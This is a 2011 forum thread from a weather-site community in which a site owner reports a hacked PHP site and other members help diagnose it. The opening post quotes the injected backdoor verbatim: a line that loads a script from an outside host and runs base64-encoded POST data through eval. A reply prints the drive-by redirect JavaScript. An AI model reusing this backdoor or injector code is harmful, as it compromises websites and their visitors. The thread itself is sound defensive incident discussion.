cloudy

Author Topic: Re-direction Problem  (Read 395 times)

0 Members and 1 Guest are viewing this topic.

Offline tstorm

  • Posts: 359
  • Harpers Ferry, WV
  • OS/Browser:
  • Windows 7/Server 2008 R2
  • Firefox 8.0.1
    • Meadowbrook Farm Weather
Re-direction Problem
« on: December 31, 2011, 06:53:10 PM »
Today I noticed that if a invalid script is request (i.e. http://www.harpersferry-weather.com/jfk.php) a user is directed to floatanswer[dot]ru/access/index.php . Before today if there's was an invalid script request a user was redirect towards a 404 image.   Help!

I'm thinking that someone hacked into the server  for my files as I have noticed that alot of files (wx file, index files) where changed this morning at exactly the same time.  On the 1st line the following was added on the after <?php :

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }


Thanks,

John

.ru link disabled - Niko
« Last Edit: December 31, 2011, 08:40:36 PM by niko »

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Windows XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #1 on: December 31, 2011, 08:26:51 PM »
Oooh... nasty issue.  Some external entity has likely written an entry in your .htaccess file causing the redirect, and any time you get a redirect to a .ru (Russia) URL, it's likely to be a source of malware.  Using NoScript to block the execution of the redirect (but enable viewing of the contents), the page it goes to contains
Code: [Select]
<html>
<head>
<script LANGUAGE="JavaScript" type="text/javascript">

function readCookie(name) {
var xname = name + "="
var xlen = xname.length
var clen = document.cookie.length
var i = 0
while(i < clen){
       var j = i + xlen
       if (document.cookie.substring(i, j) == xname)
return getCookieVal(j)
       i = document.cookie.indexOf(" ",1) + 1
       if (i == 0)  break
}
return null
}

function getCookieVal(n){
var endstr = document.cookie.indexOf(";", n)
if (endstr == -1)
endstr = document.cookie.length
return unescape(document.cookie.substring(n, endstr))
}

function writeCookie(name, value, expires, path, domain, secure) {
document.cookie =
name +"=" + escape(value) +
((expires) ? "; expires="  + expires.toGMTString() : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "")
}

writeCookie('d4c734f0a93e4f8dd06e5b2746','d5317e373e86ae1ab4ce9c22726');
if ( readCookie('d4c734f0a93e4f8dd06e5b2746') == 'd5317e373e86ae1ab4ce9c22726')
document.location.href='http://footerleftonmouseover.ru/main.php?page=b67137fa79c9e463';
else
document.location.href='http://www.bing.com/search?q=404+error&form=MSNH14&qs=n&sk=&qs=AS&sk=&pq=404+error&sp=1&sc=8-9';
</script>
</head>
</html>
which appears to be a front-end for a drive-by malware JavaScript downloader which will automatically activate if JavaScript is allowed on that site.  Bad news for any unprotected browsers.

Check your .htaccess file now, and if nothing appears in there to redirect 404s to the floatanswer.ru domain, then contact your webhoster and say there's likely a webserver compromise and have them check the master Apache config files.
« Last Edit: December 31, 2011, 08:32:54 PM by saratogaWX »
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Windows XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #2 on: December 31, 2011, 08:34:29 PM »
John..  send me a direct email (webmaster at saratoga-weather.org) and I'll send you a PHP script that can be used to detect a malware infection on your site.
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Windows XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #3 on: December 31, 2011, 08:37:56 PM »
And Yes, the added PHP lines you added to the first post are a dead-givaway that someone has hacked the site (and maybe not just your site on a shared webserver).  Time to do a cleanup and make sure the tech support for your webserver is aware of the issue so they can check the logs to see who got in and via what means.
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates

Offline niko

  • syzygy
  • Global Moderator
  • Posts: 21,998
  • Crystal Ball broken! Please post the URL.
  • Northern California, U.S.A.
  • OS/Browser:
  • Windows 7/Server 2008 R2
  • MS Internet Explorer 8.0
    • http://www.realweatherstation.com
Re: Re-direction Problem
« Reply #4 on: December 31, 2011, 08:41:41 PM »
John, I edited your post to disable the link. Best not to have folks clicking on that.

Offline MesquiteWx

  • Nick
  • Posts: 403
  • Mesquite Weather Network
  • Mesquite, Texas
  • OS/Browser:
  • Mac OS X 10.6
  • Firefox 3.6.24
    • Mesquite Weather Network
Re: Re-direction Problem
« Reply #5 on: January 01, 2012, 01:39:18 AM »
This isn't a server issue this is the google redirect malware attack that Firefox users are encountering.

I see you're on server 08 R2 are you using domain profiles?

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Windows XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #6 on: January 01, 2012, 02:25:31 AM »
It was both a malicious modification of all his PHP files (to include the code snippet he showed above), and a general hack to have the 404-error processing HTML page do the script to refer to the malware drive-by site (code shown above).

John let me know his hoster has restored most (but not all) his files from a prior backup, and he's working to reconstruct his site.  Awful way to greet the new year.  No clues on how they 'got in' to do the mischief as of now.
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates

Offline MesquiteWx

  • Nick
  • Posts: 403
  • Mesquite Weather Network
  • Mesquite, Texas
  • OS/Browser:
  • Mac OS X 10.6
  • Firefox 3.6.24
    • Mesquite Weather Network
Re: Re-direction Problem
« Reply #7 on: January 01, 2012, 04:36:28 AM »
That's all great, he is able to to restore his files only for it to happen again because it is using ADUC as a backdoor to his web host while browsing as it attaches itself to the profile on his domain. You can restore your files all day long. But, you need to stop the source of the initial ejection or it will happen again. In order to do that you need to back up your profile then delete it and then log in and recreate it. But before you do that make sure you have a admin account with local access. Otherwise you won't be able to log in and recreate it.

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Windows XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #8 on: January 01, 2012, 06:39:00 AM »
That's all great, he is able to to restore his files only for it to happen again because it is using ADUC as a backdoor to his web host while browsing as it attaches itself to the profile on his domain. You can restore your files all day long. But, you need to stop the source of the initial ejection or it will happen again. In order to do that you need to back up your profile then delete it and then log in and recreate it. But before you do that make sure you have a admin account with local access. Otherwise you won't be able to log in and recreate it.
I'm curious about what leads you to assert that "it is using ADUC as a backdoor to his webhost".
The HTTP headers indicate an Apache webserver is used with no hint of OS.  I thought ADUC (Active Directory Users and Computers) was a Microsoft Windows thing, and it's quite possible his webserver is Linux (or variant).
Would you mind elaborating on your thiking that lead you to the ADUC conclusion?

Best regards,
Ken
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates

Offline MesquiteWx

  • Nick
  • Posts: 403
  • Mesquite Weather Network
  • Mesquite, Texas
  • OS/Browser:
  • Mac OS X 10.6
  • Firefox 3.6.24
    • Mesquite Weather Network
Re: Re-direction Problem
« Reply #9 on: January 01, 2012, 06:16:12 PM »
According to his details he uses Windows 7/Server 2008 R2 as the OS he currently uses that he is browsing on. Yes you're right it has no association to his web server. BUT, Something had to infiltrate his web server though and normally it is through log in. Since he is on server 08 RC2 I am assuming he is on a DC with a local domain which means if that's the case he has a domain profile not a local machine profile. The ntuser.dat file stores all the credentials and then some in the HKEY_CURRENT_USER hive for the registry. So initially if his machine was infected and when he logged into his web host he now just gave access to his web host as it stores those credentials in a host file from the infection. You can check the host file to see if it's been modified by Clicking Start, click Run, type %systemroot% \system32\drivers\etc then look for the host file. Luckily though if he does log into a domain then he can back up his profile then delete it, login and it will recreate a new one. But he would need to be logged in as a local admin on the machine, not his profile even though it may have local admin access. Then transfer everything back over except for your local settings and application settings.

I deal with this exact problem at least twice a week since Aug in one of my clients environments. Which when the agents login to the domain it runs login scripts from their web server for their agent login, time clock, etc for various tasks. which is set in their host file. Don't ask me why, I told them that was not very good since now it bypasses the security appliance.
 

Offline niko

  • syzygy
  • Global Moderator
  • Posts: 21,998
  • Crystal Ball broken! Please post the URL.
  • Northern California, U.S.A.
  • OS/Browser:
  • Windows 7/Server 2008 R2
  • MS Internet Explorer 9.0
    • http://www.realweatherstation.com
Re: Re-direction Problem
« Reply #10 on: January 01, 2012, 06:23:03 PM »
"Windows 7/Server 2008 R2" doesn't necessarily mean he's running server 08 RC2. The OS ID isn't that smart, see mine, I'm posting this from plain old W7/32.

Offline MesquiteWx

  • Nick
  • Posts: 403
  • Mesquite Weather Network
  • Mesquite, Texas
  • OS/Browser:
  • Mac OS X 10.6
  • Firefox 3.6.24
    • Mesquite Weather Network
Re: Re-direction Problem
« Reply #11 on: January 01, 2012, 06:30:55 PM »
You're right that may be the case. That is why I asked earlier if that was the case, because if it is then he would need to get to the root of the infection and how his web host was infected. Luckily if he is on a local domain and his profile is infected it can be easily removed. If not, then you have a quite the task ahead of you if his PC is infected.

Offline niko

  • syzygy
  • Global Moderator
  • Posts: 21,998
  • Crystal Ball broken! Please post the URL.
  • Northern California, U.S.A.
  • OS/Browser:
  • Windows 7/Server 2008 R2
  • MS Internet Explorer 9.0
    • http://www.realweatherstation.com
Re: Re-direction Problem
« Reply #12 on: January 01, 2012, 06:49:41 PM »
There's also a trojan that will grab the login from FileZilla if he uses that, and possible vulnerabilities in scripts from unknown sources, and, and, too many different possible vectors unfortunately :(

Offline saratogaWX

  • Posts: 4,577
  • Saratoga, CA, USA 37:16:28N, 122:01:23W - Elev: 374ft.
  • OS/Browser:
  • Win XP
  • Firefox 9.0.1
    • Saratoga Weather
Re: Re-direction Problem
« Reply #13 on: January 01, 2012, 07:34:08 PM »
I've been analyzing John's apache logs, and it looks like the malicious activity was the result of a PHP shell script injected into his site and remotely operated via POST to his website.  Now looking back to see what was used to get the shell script there in the first place.  This is the similar avenue I've found with other sites I've helped debug/disinfect in the past .. a vulnerability in one script is used to download a powerful remote-shell PHP script which is then used to do the mischief on the site.  No ADUC or user credentials compromise needed .. only a vulnerable (read poorly secured) script is needed as the starting point for this attack to succed.  Moral:  keep the software on your site up-to-date, particularly any software that allows user uploads to your site (like photo galleries, in-place editors, etc.)

Best regards,
Ken
Ken True
Saratoga Weather
CWOP: CW1792
WeatherUnderground: KCASARAT1
Free weather website PHP scripts and WD website AJAX templates